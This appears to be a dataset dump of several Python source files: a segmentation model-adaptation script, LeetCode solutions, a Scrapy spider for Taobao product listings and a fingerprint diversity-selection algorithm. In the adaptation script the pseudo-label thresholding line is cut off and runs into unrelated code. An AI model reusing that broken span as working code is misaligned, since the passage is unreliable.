module.parameters():\n\t\t\t\t\t\tparam.requires_grad = True\n\n\t\tprint('Load source model')\n\t\tsaved_state_dict = torch.load(self.args.restore_from)\n\t\tself.model.load_state_dict(saved_state_dict, strict=True)\n\n\n\tdef compute_output_entropy(\n\t\t\tself, predictions, avg_image=True, avg_batch=True):\n\n\t\t\"\"\"\n\t\tGiven output predictions, performs softmax and computes entropy\n\n\t\tparams:\n\n\t\t\tpredictions : torch tensor (M,K,H,W)\n\n\t\t\t\tThe output of the model: M batch size, K\n\t\t\t\tnumber of classes, (H,W) image size\n\n\t\t\tavg_image : bool\n\n\t\t\t\tIf True, averages the different pixels'\n\t\t\t\toutput predictions in a single number\n\n\t\t\tavg_batch : bool\n\n\t\t\t\tIf True, averages everything (this is like\n\t\t\t\treduce_mean + avg_image=True)\n\n\t\treturns:\n\n\t\t\toutput_entropy : torch.tensor / torch.float\n\n\t\t\t\tThe entropy associated with the prediction\n\t\t\t\tprovided.\n\n\t\t\"\"\"\n\n\n\t\tpredictions = torch.softmax(predictions, 1)\n\t\toutput_entropy = torch.sum(\n\t\t\t\t-(torch.log(predictions) * predictions),1)\n\n\t\tif avg_batch:\n\t\t\treturn torch.mean(output_entropy)\n\t\telse:\n\t\t\tif avg_image:\n\t\t\t\treturn output_entropy.mean(-1).mean(-1)\n\t\t\telse:\n\t\t\t\treturn output_entropy\n\n\n\tdef compute_pseudo_labels(\n\t\t\tself, predictions, pseudo_labels_mode, pseudo_labels_thrs=None):\n\n\t\t\"\"\"\n\t\tMethod to compute pseudo labels.\n\n\t\tparams:\n\n\t\t\tpredictions : torch.tensor (M,K,H,W)\n\n\t\t\t\tThe output of the model: M batch size, K number of\n\t\t\t\tclasses, (H,W) image size\n\n\t\t\tpseudo_labels_mode : str\n\n\t\t\t\tWhich PL method to use. Supported values are\n\t\t\t\t'vanilla' or 'softmax'\n\n\t\t\tpseudo_labels_thrs : str\n\n\t\t\t\tWhich threshold to use, if required by the\n\t\t\t\tPL method specified via pseudo_labels_mode\n\n\n\t\treturns:\n\n\t\t\ttrg_psd_labels : torch.tensor\n\n\t\t\t\tPseudo labels associted with the provided\n\t\t\t\tpredictions and thresholding method.\n\t\t\"\"\"\n\n\t\t# generating pseudo-labels\n\t\tif pseudo_labels_mode == 'vanilla':\n\t\t\t# \"hard\" pseudo-labels: treating every pixel\n\t\t\t# prediction as ground truth,\n\t\t\t# regardless of any confidence metric.\n\t\t\ttrg_psd_labels = torch.argmax(predictions, 1)\n\n\t\telif pseudo_labels_mode == 'softmax':\n\t\t\t# \"softmax-based\" pseudo-labels: setting a threshold\n\t\t\t# and only using the predictions whose associated softmax\n\t\t\t# value is higher than that.\n\t\t\ttrg_psd_labels = torch.argmax(predictions, 1)\n\t\t\ttrg_softmax_vals = torch.max(torch.softmax(predictions, 1),1)[0]\n\t\t\ttrg_psd_labels[trg_softmax_vals 1:\n\t\t\tscene_list = self.args.scene.split('-')\n\t\t\tcond_list = self.args.cond.split('-')\n\t\telse:\n\t\t\tscene_list = [self.args.scene]\n\t\t\tcond_list = [self.args.cond]\n\n\t\tif self.args.trg_dataset=='Cityscapes':\n\t\t\tprint(f'Loading Cityscapes from {self.args.cityscapes_root}')\n\t\t\tself.trg_parent_set = Cityscapes(\n\t\t\t\t\tself.args.cityscapes_root, scene_list, cond_list,\n\t\t\t\t\tcrop_size=self.input_size_target, mean=IMG_MEAN,\n\t\t\t\t\talpha=0.02, beta=0.01, dropsize=0.005, pattern=3,\n\t\t\t\t\twct2_random_style_transfer = self.args.wct2_random_style_transfer,\n\t\t\t\t\twct2_nn_style_transfer = self.args.wct2_nn_style_transfer)\n\n\t\telif self.args.trg_dataset=='SYNTHIA':\n\t\t\tself.trg_parent_set = SYNTHIA(\n\t\t\t\t\tself.args.synthia_root, scene_list, cond_list,\n\t\t\t\t\tcamera_id='0', crop_size=self.input_size_target,\n\t\t\t\t\tmean=IMG_MEAN, set='all', num_images=300,\n\t\t\t\t\twct2_random_style_transfer = self.args.wct2_random_style_transfer,\n\t\t\t\t\twct2_nn_style_transfer = self.args.wct2_nn_style_transfer)\n\n\t\telif self.args.trg_dataset=='ACDC':\n\t\t\tself.trg_parent_set = ACDC(\n\t\t\t\t\tself.args.acdc_root, scene_list, cond_list,\n\t\t\t\t\tcrop_size=self.input_size_target, mean=IMG_MEAN,\n\t\t\t\t\twct2_random_style_transfer = self.args.wct2_random_style_transfer,\n\t\t\t\t\twct2_nn_style_transfer = self.args.wct2_nn_style_transfer)\n\n\t\telse:\n\t\t\traise ValueError(f'Unknown dataset {self.args.dataset}')\n\n\t\tself.trg_train_loader = data.DataLoader(\n\t\t\t\tself.trg_parent_set, batch_size=1, shuffle=False, pin_memory=True)\n\n\nif __name__ == '__main__':\n\n\t# Parse all the arguments provided from the CLI.\n\tparser = argparse.ArgumentParser(description=\"DeepLab-ResNet Network\")\n\n\t# what to do with the script (training, testing, etc.)\n\tparser.add_argument(\"--mode\", type=str, default='adapt',\n\t\t\t\t\t\thelp=\"available options : adapt\")\n\n\t# main experiment parameters\n\tparser.add_argument(\"--model_arch\", type=str, default='Deeplab',\n\t\t\t\t\t\thelp=\"available options : {DeepLab, Resnet50Dilated}\")\n\tparser.add_argument(\"--src_dataset\", type=str, default='GTA5',\n\t\t\t\t\t\thelp=\"Which source dataset to start from [GTA5]\")\n\tparser.add_argument(\"--batch_size\", type=int, default=1,\n\t\t\t\t\t\thelp=\"Number of images sent to the network in one step.\")\n\tparser.add_argument(\"--num_workers\", type=int, default=4,\n\t\t\t\t\t\thelp=\"number of workers for multithread dataloading.\")\n\tparser.add_argument(\"--seed\", type=int, default=111,\n\t\t\t\t\t\thelp=\"Random seed to have reproducible results.\")\n\tparser.add_argument(\"--models_dir\", type=str, default='./adapted-models',\n\t\t\t\t\t\thelp=\"Where to save trained models.\")\n\tparser.add_argument(\"--gpu\", type=int, default=0,\n\t\t\t\t\t\thelp=\"choose gpu device.\")\n\tparser.add_argument(\"--restore_from\", type=str,\n\t\t\t\t\t\tdefault='./pre-trained-models/GTA5_Deeplab_DR2/GTA5.pth',\n\t\t\t\t\t\thelp=\"path to .pth model\")\n\tparser.add_argument(\"--force_retraining\", type=int, default=0,\n\t\t\t\t\t\thelp=\"Whether to re-train even if exp already done\")\n\n\t# data dirs\n\tparser.add_argument(\"--cityscapes_root\", type=str, default='./data/Cityscapes',\n\t\t\t\t\t\thelp=\"Directory which contains Cityscapes data.\")\n\tparser.add_argument(\"--synthia_root\", type=str, default='./data/SYNTHIA',\n\t\t\t\t\t\thelp=\"Directory which contains SYNTHIA data.\")\n\tparser.add_argument(\"--gta5_root\", type=str, default='./data/GTA5',\n\t\t\t\t\t\thelp=\"Directory which contains GTA5 data.\")\n\tparser.add_argument(\"--acdc_root\", type=str, default='./data/ACDC',\n\t\t\t\t\t\thelp=\"Directory which contains ACDC data.\")\n\n\t# for target\n\tparser.add_argument(\"--trg_dataset\", type=str, default='Cityscapes',\n\t\t\t\t\t\thelp=\"Which target dataset to transfer to\")\n\tparser.add_argument(\"--scene\", type=str, default='aachen',\n\t\t\t\t\t\thelp=\"Scene, depends on specific datasets\")\n\tparser.add_argument(\"--cond\", type=str, default='clean',\n\t\t\t\t\t\thelp=\"Condition, depends on specific datasets\")\n\n\t# Rain/Foggy Cityscapes parameters (beta only one for both)\n\tparser.add_argument(\"--alpha\", type=float, default=0.02,\n\t\t\t\t\t\thelp=\"Alpha [for Rain]\")\n\tparser.add_argument(\"--beta\", type=float, default=0.02,\n\t\t\t\t\t\thelp=\"Beta [for Rain and Fog]\")\n\tparser.add_argument(\"--dropsize\", type=float, default=0.005,\n\t\t\t\t\t\thelp=\"Rain's dropsize [for Rain]\")\n\tparser.add_argument(\"--pattern\", type=int, default=3,\n\t\t\t\t\t\thelp=\"Rain's pattern [for Rain]\")\n\n\t# for adapt method\n\tparser.add_argument(\"--adapt_mode\", type=str, default='no-adaptation',\n\t\t\t\t\t\thelp=\"Which method to use to adapt the network\")\n\n\t# batch-norm parameters\n\tparser.add_argument(\"--batch_norm_momentum\", type=float, default=0.1,\n\t\t\t\t\t\thelp=\"momentum for the BN layers\")\n\tparser.add_argument(\"--batch_norm_mean_inf_momentum\", type=float, default=0.0,\n\t\t\t\t\t\thelp=\"momentum for the BN layers - only at inference time\")\n\tparser.add_argument(\"--batch_norm_var_inf_momentum\", type=float, default=0.0,\n\t\t\t\t\t\thelp=\"momentum for the BN layers - only at inference time\")\n\n\t# for iterative adaptation algorithms (pseudo-labeling, test)\n\tparser.add_argument(\"--adapt_iters\", type=int, default=3,\n\t\t\t\t\t\thelp=\"How many staps to carry out for the adaptation process\")\n\tparser.add_argument(\"--learning_rate\", type=float, default=0.0001,\n\t\t\t\t\t\thelp=\"Base learning rate for training with polynomial decay.\")\n\n\t# parameters for pseudo-labeling algos\n\tparser.add_argument(\"--pseudo_labels_mode\", type=str, default='vanilla',\n\t\t\t\t\t\thelp=\"How to use pseudo-labels [vanilla, softmax]\")\n\tparser.add_argument(\"--pseudo_labels_thrs\", type=float, default=0.8,\n\t\t\t\t\t\thelp=\"Threshold for filtering pseudo label\")\n\tparser.add_argument('--adapt_only_classifier', action='store_true', default=False,\n\t\t\t\t\t\thelp=\"Whether to only adapt the final classifier)\")\n\n\t# for reset algos\n\tparser.add_argument(\"--reset_thrs\", type=float, default=0.0,\n\t\t\t\t\t\thelp=\"Threshold for resetting the model [0.0; 1.0]\")\n\tparser.add_argument(\"--buffer_size\", type=int, default=1,\n\t\t\t\t\t\thelp=\"How many samples to consider for the buffer\")\n\n\t# source-rehearse parameters\n\tparser.add_argument(\"--src_iters\", type=int, default=0,\n\t\t\t\t\t\thelp=\"How many source samples to mix with in the current update\")\n\n\t# style transfer\n\tparser.add_argument('--wct2_random_style_transfer', action='store_true', default=False,\n\t\t\t\t\t\thelp=\"Use images pre-processed with WCT2 - Random\")\n\tparser.add_argument('--wct2_nn_style_transfer', action='store_true', default=False,\n\t\t\t\t\t\thelp=\"Use images pre-processed with WCT2 - Nearest_samples\")\n\n\targs = parser.parse_args()\n\n\tif args.pseudo_labels_mode == 'vanilla':\n\t\targs.pseudo_labels_thrs = 0.0\n\n\targs.force_retraining = bool(args.force_retraining)\n\n\tif 'Cityscapes' in args.trg_dataset:\n\t\targs.input_size_target = '1024,512'\n\telif 'ACDC' in args.trg_dataset:\n\t\targs.input_size_target = '960,540'\n\telif 'SYNTHIA' in args.trg_dataset:\n\t\targs.input_size_target = '640,380'\n\telse:\n\t\traise NotImplementedError(\"Input size unknown\")\n\n\tif args.src_dataset == 'GTA5':\n\t\targs.input_size_source = '1280,720'\n\telse:\n\t\traise ValueError(f'Unknown source dataset {args.src_dataset}')\n\n\tnpr.seed(args.seed)\n\n\tsolver_ops = SolverOps(args)\n\n\tprint('Setting up experiment folder')\n\tsolver_ops.setup_experiment_folder()\n\n\tprint('Setting up data target loader')\n\tsolver_ops.setup_target_data_loader()\n\n\tif args.src_iters > 0:\n\t\tprint('Setting up data source loader')\n\t\tsolver_ops.setup_source_data_loader()\n\n\tprint('Defining model')\n\tsolver_ops.setup_model()\n\n\tif args.mode == 'adapt':\n\t\tprint('Loading pre-trained model')\n\t\tsolver_ops.load_model()\n\t\tprint('Start adapting')\n\t\tsolver_ops.adapt()\n\n\telse:\n\t\traise ValueError(f'Unknown args.mode [{args.mode}]')\n","repo_name":"naver/oasis","sub_path":"main_adapt.py","file_name":"main_adapt.py","file_ext":"py","file_size_in_byte":32919,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"2"} +{"seq_id":"6914518860","text":"\"\"\"\nLeetCode\n35. Search Insert Position\nFebruary 2023 Challenge\njramaswami\n\"\"\"\n\n\nclass Solution:\n def searchInsert(self, nums, target):\n # Find the index of the rightmost item >= target.\n lo = 0\n hi = len(nums) - 1\n i = len(nums)\n while lo <= hi:\n mid = lo + ((hi - lo) // 2)\n if nums[mid] >= target:\n i = min(i, mid)\n hi = mid - 1\n else:\n lo = mid + 1\n return i\n\n\ndef test_1():\n nums = [1,3,5,6]\n target = 5\n expected = 2\n assert Solution().searchInsert(nums, target) == expected\n\n\ndef test_2():\n nums = [1,3,5,6]\n target = 2\n expected = 1\n assert Solution().searchInsert(nums, target) == expected\n\n\ndef test_3():\n nums = [1,3,5,6]\n target = 8\n expected = len(nums)\n assert Solution().searchInsert(nums, target) == expected\n\n\ndef test_4():\n nums = [1,3,5,6]\n target = -1\n expected = 0\n assert Solution().searchInsert(nums, target) == expected\n\n","repo_name":"jramaswami/LeetCode_Python","sub_path":"search_insert_position.py","file_name":"search_insert_position.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"7049312249","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom scrapy import Request\nimport re\nfrom taobao.items import TaobaoItem\n\n\nclass SpiderOneSpider(scrapy.Spider):\n name = 'spider_one'\n allowed_domains = ['taobao.com']\n\n def start_requests(self):\n url = 'https://www.taobao.com/'\n yield Request(url=url, callback=self.get_types_url)\n\n def get_types_url(self, response):\n result = response.xpath('//li[contains(@class, \"J_Cat\")]/a/@href').extract()\n L = []\n for items in result:\n url = response.urljoin(items)\n if url not in L:\n L.append(url)\n L.pop(6), L.pop(6), L.pop(16), L.pop(16), L.pop(16)\n for i in L:\n url = i\n yield Request(url=url, callback=self.get_detail_url)\n\n def get_detail_url(self, response):\n try:\n result = response.xpath('//dd[contains(@class, \"cat-title\")]/a/@href').extract()\n if result:\n for i in result:\n url = response.urljoin(i)\n yield Request(url=url, callback=self.get_product_url)\n else:\n url = response.url\n yield Request(url=url, callback=self.next_parse_url)\n except:\n self.logger.debug('解析网页出错', response.url)\n\n def next_parse_url(self, response):\n URL = response.url\n try:\n result = response.xpath('//span[@class=\"sub-link\"]/a/@href').extract()\n if result:\n for i in result:\n url = response.urljoin(i)\n yield Request(url=url, callback=self.get_product_url)\n else:\n url = response.url\n yield Request(url=url, callback=self.once_parse_url)\n\n except:\n self.logger.debug('解析网页出错', URL)\n def once_parse_url(self, response):\n URL = response.url\n try:\n result = response.xpath('//div[@class=\"box-cell-container\"]/a/@href').extract()\n if result:\n for i in result:\n url = response.urljoin(i)\n yield Request(url=url, callback=self.get_product_url)\n else:\n url = response.url\n yield Request(url=url, callback=self.two_parse_url)\n\n except:\n self.logger.debug('解析网页出错', URL)\n\n def two_parse_url(self, response):\n URL = response.url\n try:\n html = response.text\n result = re.findall('{"cat_name":"(.*?)"', html, re.S)\n if result:\n for name in result:\n url = 'https://s.taobao.com/search?q='\n urljoin = url + str(name)\n yield Request(url=urljoin, callback=self.get_product_url)\n else:\n url = response.url\n yield Request(url=url, callback=self.get_product_url)\n\n except:\n self.logger.debug('解析网页出错', URL)\n\n def get_product_url(self, response):\n URL = response.url\n try:\n url = response.url\n length = len(response.text)\n if length > 100000:\n for i in range(100):\n urljoin = url + '&bcoffset=12&s=' + str(i*60)\n yield Request(url=urljoin, callback=self.get_product)\n except:\n self.logger.debug(\"解析网页出错\", URL)\n def get_product(self, response):\n URL = response.url\n try:\n html = response.text\n title = re.findall('\"raw_title\":\"(.*?)\"', html, re.S)\n pic_url = re.findall('\"pic_url\":\"(.*?)\"', html, re.S)\n view_price = re.findall('\"view_price\":\"(.*?)\"', html, re.S)\n view_fee = re.findall('\"view_fee\":\"(.*?)\"', html, re.S)\n item_loc = re.findall('\"item_loc\":\"(.*?)\"', html, re.S)\n view_sales = re.findall('\"view_sales\":\"(.*?)\"', html, re.S)\n nid = re.findall('\"nid\":\"(.*?)\"', html, re.S)\n nick = re.findall('\"nick\":\"(.*?)\"', html, re.S)\n nick.pop(-1)\n i = 0\n for x in nick:\n item = TaobaoItem()\n item['title'] = title[i]\n item['pic_url'] = pic_url[i]\n item['view_price'] = view_price[i]\n item['view_fee'] = view_fee[i]\n item['item_loc'] = item_loc[i]\n item['view_sales'] = view_sales[i]\n item['nid'] = 'https://item.taobao.com/item.htm?spm=a219r.lm874.14.1.13c42140RGlAs3&id=' + str(nid [i])\n item['nick'] = nick[i]\n i += 1\n yield item\n except:\n self.logger.debug(URL)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"wumxiaozu/taobao","sub_path":"taobao/spiders/spider_one.py","file_name":"spider_one.py","file_ext":"py","file_size_in_byte":4763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"39643732717","text":"import numpy as np\nimport random\nimport glob\nimport pickle\nfrom math import log, ceil\n\n# ECS_MeDiv algorithm\n\ndef calculate_counters(data_sets, c_threshold=None, w_factor=\"fraction\"):\n \"\"\"Calculate 1-similarity, 0-similarity, and dissimilarity counters\n\n Arguments\n ---------\n data_sets : np.ndarray\n Array of arrays. Each sub-array contains m + 1 elements,\n with m being the length of the fingerprints. The first\n m elements are the column sums of the matrix of fingerprints.\n The last element is the number of fingerprints.\n\n c_threshold : {None, 'dissimilar', int, float}\n Coincidence threshold.\n None : Default, c_threshold = n_fingerprints % 2\n 'dissimilar' : c_threshold = ceil(n_fingerprints / 2)\n int : Integer number < n_fingerprints\n float: Real number in the (0, 1) interval, c_threshold *= n_fingerprints\n\n w_factor : {\"fraction\", \"power_n\"}\n Type of weight function that will be used.\n 'fraction' : similarity = d[k]/n\n dissimilarity = 1 - (d[k] - n_fingerprints % 2)/n_fingerprints\n 'power_n' : similarity = n**-(n_fingerprints - d[k])\n dissimilarity = n**-(d[k] - n_fingerprints % 2)\n other values : similarity = dissimilarity = 1\n\n Returns\n -------\n counters : dict\n Dictionary with the weighted and non-weighted counters.\n\n Notes\n -----\n Please, cite the original papers on the n-ary indices:\n https://jcheminf.biomedcentral.com/articles/10.1186/s13321-021-00505-3\n https://jcheminf.biomedcentral.com/articles/10.1186/s13321-021-00504-4\n \"\"\"\n # Setting matches\n total_data = np.sum(data_sets, axis=0)\n n_fingerprints = int(total_data[-1])\n c_total = total_data[:-1]\n \n # Assign c_threshold\n if not c_threshold or c_threshold == 'min':\n c_threshold = n_fingerprints % 2\n if isinstance(c_threshold, str):\n if c_threshold != 'dissimilar':\n raise TypeError(\"c_threshold must be None, 'dissimilar', or an integer.\")\n else:\n c_threshold = ceil(n_fingerprints / 2)\n if isinstance(c_threshold, int):\n if c_threshold >= n_fingerprints:\n raise ValueError(\"c_threshold cannot be equal or greater than n_fingerprints.\")\n c_threshold = c_threshold\n if 0 < c_threshold < 1:\n c_threshold *= n_fingerprints\n \n # Set w_factor\n if w_factor:\n if \"power\" in w_factor:\n power = int(w_factor.split(\"_\")[-1])\n def f_s(d):\n return power**-float(n_fingerprints - d)\n \n def f_d(d):\n return power**-float(d - n_fingerprints % 2)\n elif w_factor == \"fraction\":\n def f_s(d):\n return d/n_fingerprints\n \n def f_d(d):\n return 1 - (d - n_fingerprints % 2)/n_fingerprints\n else:\n def f_s(d):\n return 1\n \n def f_d(d):\n return 1\n else:\n def f_s(d):\n return 1\n \n def f_d(d):\n return 1\n \n # Calculate a, d, b + c\n a = 0\n w_a = 0\n d = 0\n w_d = 0\n total_dis = 0\n total_w_dis = 0\n for s in c_total:\n if 2 * s - n_fingerprints > c_threshold:\n a += 1\n w_a += f_s(2 * s - n_fingerprints)\n elif n_fingerprints - 2 * s > c_threshold:\n d += 1\n w_d += f_s(abs(2 * s - n_fingerprints))\n else:\n total_dis += 1\n total_w_dis += f_d(abs(2 * s - n_fingerprints))\n total_sim = a + d\n total_w_sim = w_a + w_d\n p = total_sim + total_dis\n w_p = total_w_sim + total_w_dis\n \n counters = {\"a\": a, \"w_a\": w_a, \"d\": d, \"w_d\": w_d,\n \"total_sim\": total_sim, \"total_w_sim\": total_w_sim,\n \"total_dis\": total_dis, \"total_w_dis\": total_w_dis,\n \"p\": p, \"w_p\": w_p}\n \n return counters\n \ndef gen_sim_dict(data_sets, c_threshold=None, w_factor=\"fraction\"):\n counters = calculate_counters(data_sets, c_threshold=c_threshold, w_factor=\"fraction\")\n # Indices\n # AC: Austin-Colwell, BUB: Baroni-Urbani-Buser, CTn: Consoni-Todschini n\n # Fai: Faith, Gle: Gleason, Ja: Jaccard, Ja0: Jaccard 0-variant\n # JT: Jaccard-Tanimoto, RT: Rogers-Tanimoto, RR: Russel-Rao\n # SM: Sokal-Michener, SSn: Sokal-Sneath n\n\n # Weighted Indices\n ac_w = (2/np.pi) * np.arcsin(np.sqrt(counters['total_w_sim']/\n counters['w_p']))\n bub_w = ((counters['w_a'] * counters['w_d'])**0.5 + counters['w_a'])/\\\n ((counters['w_a'] * counters['w_d'])**0.5 + counters['w_a'] + counters['total_w_dis'])\n ct1_w = (log(1 + counters['w_a'] + counters['w_d']))/\\\n (log(1 + counters['w_p']))\n ct2_w = (log(1 + counters['w_p']) - log(1 + counters['total_w_dis']))/\\\n (log(1 + counters['w_p']))\n ct3_w = (log(1 + counters['w_a']))/\\\n (log(1 + counters['w_p']))\n ct4_w = (log(1 + counters['w_a']))/\\\n (log(1 + counters['w_a'] + counters['total_w_dis']))\n fai_w = (counters['w_a'] + 0.5 * counters['w_d'])/\\\n (counters['w_p'])\n gle_w = (2 * counters['w_a'])/\\\n (2 * counters['w_a'] + counters['total_w_dis'])\n ja_w = (3 * counters['w_a'])/\\\n (3 * counters['w_a'] + counters['total_w_dis'])\n ja0_w = (3 * counters['total_w_sim'])/\\\n (3 * counters['total_w_sim'] + counters['total_w_dis'])\n jt_w = (counters['w_a'])/\\\n (counters['w_a'] + counters['total_w_dis'])\n rt_w = (counters['total_w_sim'])/\\\n (counters['w_p'] + counters['total_w_dis'])\n rr_w = (counters['w_a'])/\\\n (counters['w_p'])\n sm_w =(counters['total_w_sim'])/\\\n (counters['w_p'])\n ss1_w = (counters['w_a'])/\\\n (counters['w_a'] + 2 * counters['total_w_dis'])\n ss2_w = (2 * counters['total_w_sim'])/\\\n (counters['w_p'] + counters['total_w_sim'])\n\n\n ## Non-Weighted Indices\n ac_nw = (2/np.pi) * np.arcsin(np.sqrt(counters['total_w_sim']/\n counters['p']))\n bub_nw = ((counters['w_a'] * counters['w_d'])**0.5 + counters['w_a'])/\\\n ((counters['a'] * counters['d'])**0.5 + counters['a'] + counters['total_dis'])\n ct1_nw = (log(1 + counters['w_a'] + counters['w_d']))/\\\n (log(1 + counters['p']))\n ct2_nw = (log(1 + counters['w_p']) - log(1 + counters['total_w_dis']))/\\\n (log(1 + counters['p']))\n ct3_nw = (log(1 + counters['w_a']))/\\\n (log(1 + counters['p']))\n ct4_nw = (log(1 + counters['w_a']))/\\\n (log(1 + counters['a'] + counters['total_dis']))\n fai_nw = (counters['w_a'] + 0.5 * counters['w_d'])/\\\n (counters['p'])\n gle_nw = (2 * counters['w_a'])/\\\n (2 * counters['a'] + counters['total_dis'])\n ja_nw = (3 * counters['w_a'])/\\\n (3 * counters['a'] + counters['total_dis'])\n ja0_nw = (3 * counters['total_w_sim'])/\\\n (3 * counters['total_sim'] + counters['total_dis'])\n jt_nw = (counters['w_a'])/\\\n (counters['a'] + counters['total_dis'])\n rt_nw = (counters['total_w_sim'])/\\\n (counters['p'] + counters['total_dis'])\n rr_nw = (counters['w_a'])/\\\n (counters['p'])\n sm_nw =(counters['total_w_sim'])/\\\n (counters['p'])\n ss1_nw = (counters['w_a'])/\\\n (counters['a'] + 2 * counters['total_dis'])\n ss2_nw = (2 * counters['total_w_sim'])/\\\n (counters['p'] + counters['total_sim'])\n\n # Dictionary with all the results\n Indices = {'nw': {'AC':ac_nw,\n 'BUB':bub_nw,\n 'CT1':ct1_nw,\n 'CT2':ct2_nw,\n 'CT3':ct3_nw,\n 'CT4':ct4_nw,\n 'Fai':fai_nw,\n 'Gle':gle_nw,\n 'Ja0':ja0_nw,\n 'Ja':ja_nw,\n 'JT':jt_nw,\n 'RT':rt_nw,\n 'RR':rr_nw,\n 'SM':sm_nw,\n 'SS1':ss1_nw,\n 'SS2':ss2_nw},\n 'w': {'AC':ac_w,\n 'BUB':bub_w,\n 'CT1':ct1_w,\n 'CT2':ct2_w,\n 'CT3':ct3_w,\n 'CT4':ct4_w,\n 'Fai':fai_w,\n 'Gle':gle_w,\n 'Ja0':ja0_w,\n 'Ja':ja_w,\n 'JT':jt_w,\n 'RT':rt_w,\n 'RR':rr_w,\n 'SM':sm_w,\n 'SS1':ss1_w,\n 'SS2':ss2_w}}\n return Indices\n\ndef calculate_medoid(total_data, n_ary = 'RR', weight = 'nw'):\n \"\"\"Calculate the medoid of a set\"\"\"\n index = len(total_data[0]) + 1\n min_sim = 3.08\n total_sum = np.sum(total_data, axis = 0)\n for i, pixel in enumerate(total_data):\n i_sum = total_sum - total_data[i]\n data_sets = [np.append(i_sum, len(total_data) - 1)]\n Indices = gen_sim_dict(data_sets)\n sim_index = Indices[weight][n_ary]\n if sim_index < min_sim:\n min_sim = sim_index\n index = i\n else:\n pass\n return index\n \ndef calculate_outlier(total_data, n_ary = 'RR', weight = 'nw'):\n \"\"\"Calculate the outlier of a set\"\"\"\n index = len(total_data[0]) + 1\n max_sim = -3.08\n total_sum = np.sum(total_data, axis = 0)\n for i, pixel in enumerate(total_data):\n i_sum = total_sum - total_data[i]\n data_sets = [np.append(i_sum, len(total_data) - 1)]\n Indices = gen_sim_dict(data_sets)\n sim_index = Indices[weight][n_ary]\n if sim_index > max_sim:\n max_sim = sim_index\n index = i\n else:\n pass\n return index\n\ndef get_single_index(total_data, indices, selected_n, c_threshold=None, n_ary = 'RR', weight = 'nw'):\n \"\"\"Binary tie-breaker selection criterion\"\"\"\n index = len(total_data[0]) + 1\n min_value = 3.08\n for i in indices:\n v = 0\n for j in selected_n:\n c_total = total_data[j] + total_data[i]\n data_sets = [np.append(c_total, 2)]\n Indices = gen_sim_dict(data_sets, c_threshold=c_threshold)\n sim_index = Indices[weight][n_ary]\n v += sim_index\n av_v = v/(len(selected_n) + 1)\n if av_v < min_value:\n index = i\n min_value = av_v\n return index\n\ndef get_new_index_n(total_data, selected_condensed, n, select_from_n, selected_n, c_threshold=None,\n n_ary = 'RR', weight = 'nw'):\n \"\"\"Select a diverse object using the ECS_MeDiv algorithm\"\"\"\n n_total = n + 1\n # min value that is guaranteed to be higher than all the comparisons\n min_value = 3.08\n \n # placeholder index\n indices = [len(total_data[0]) + 1]\n \n # for all indices that have not been selected\n for i in select_from_n:\n # column sum\n c_total = selected_condensed + total_data[i]\n # calculating similarity\n data_sets = [np.append(c_total, n_total)]\n Indices = gen_sim_dict(data_sets, c_threshold=c_threshold)\n sim_index = Indices[weight][n_ary]\n # if the sim of the set is less than the similarity of the previous diverse set, update min_value and index\n if sim_index < min_value:\n indices = [i]\n min_value = sim_index\n elif sim_index == min_value:\n indices.append(i)\n if len(indices) == 1:\n index = indices[0]\n else:\n # Use average of binary similarities as tie-breaker\n index = get_single_index(total_data, indices, selected_n, c_threshold=None, n_ary = n_ary, weight = 'nw')\n return index\n\n\nn_arys = ['AC', 'BUB', 'CT1', 'CT2', 'CT3', 'CT4', 'Fai',\n 'Gle', 'Ja', 'Ja0', 'JT', 'RT', 'RR', 'SM', 'SS1', 'SS2']\n\nfor n_ary in n_arys:\n DiversityDict = {}\n for c_threshold in ['min']:\n for file in glob.glob('*.npy'):\n if 'rank' in file:\n pass\n else:\n base_name = file.split('.')[0]\n # Seed selection:\n # medoid = start from medoid\n # random = select random initial seed\n # out = start from outlier\n start = 'medoid'\n # Numpy array with the data\n total_data = np.load(file)\n total_n = []\n \n # total number of fingerprints\n fp_total = len(total_data)\n \n # indices of all the fingerprints\n total_indices = np.array(range(fp_total))\n \n # starting point\n if start =='medoid':\n seed = calculate_medoid(total_data, n_ary = n_ary)\n elif start == 'random':\n seed = random.randint(0, fp_total - 1)\n elif start == 'out':\n seed = calculate_outlier(total_data, n_ary = n_ary)\n else:\n print('Select a correct starting point')\n selected_n = [seed]\n \n # vector with the column sums of all the selected fingerprints\n selected_condensed = total_data[seed]\n \n # number of fingerprints selected\n n = 1\n while len(selected_n) < 10:\n # indices from which to select the new fingerprints\n select_from_n = np.delete(total_indices, selected_n)\n \n # new index selected\n new_index_n = get_new_index_n(total_data, selected_condensed, n, select_from_n, selected_n,\n c_threshold=c_threshold, n_ary = n_ary)\n \n # updating column sum vector\n selected_condensed += total_data[new_index_n]\n \n # updating selected indices\n selected_n.append(new_index_n)\n \n # updating n\n n = len(selected_n)\n print(selected_n)\n DiversityDict[c_threshold][base_name] = selected_n\n f = open(n_ary + '_' + start + '_' + base_name + '_.pkl', 'wb')\n pickle.dump(DiversityDict, f)\n f.close()\n","repo_name":"ramirandaq/MultipleComparisons","sub_path":"ECS_MeDiv/ECS_MeDiv.py","file_name":"ECS_MeDiv.py","file_ext":"py","file_size_in_byte":14493,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"2"} +{"seq_id":"74251982445","text":"################################################################################\n# Question:\n# Longest Substring Without Repeating Characters\n\n# Given a string, find the length of the longest substring without repeating \n# characters.\n\n# Examples:\n\n# Given \"abcabcbb\", the answer is \"abc\", which the length is 3.\n\n# Given \"bbbbb\", the answer is \"b\", with the length of 1.\n\n# Given \"pwwkew\", the answer is \"wke\", with the length of 3. Note that the answer \n# must be a substring, \"pwke\" is a subsequence and not a substring.\n################################################################################\n# Solution Notes:\n\n# Time Complexity: O(n)\n# Space Complexity: O(n)\n\n# 1. Traverse through the string by adding each char into hasmap if it has not appeared before\n# 2. If it has appeared before, update the low to max(low, last occurence of char at i)\n################################################################################\n\nclass Solution(object):\n def lengthOfLongestSubstring(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n h = {}\n low = 0\n high = 0\n max_len = 0\n max_index = (0,0)\n for i in 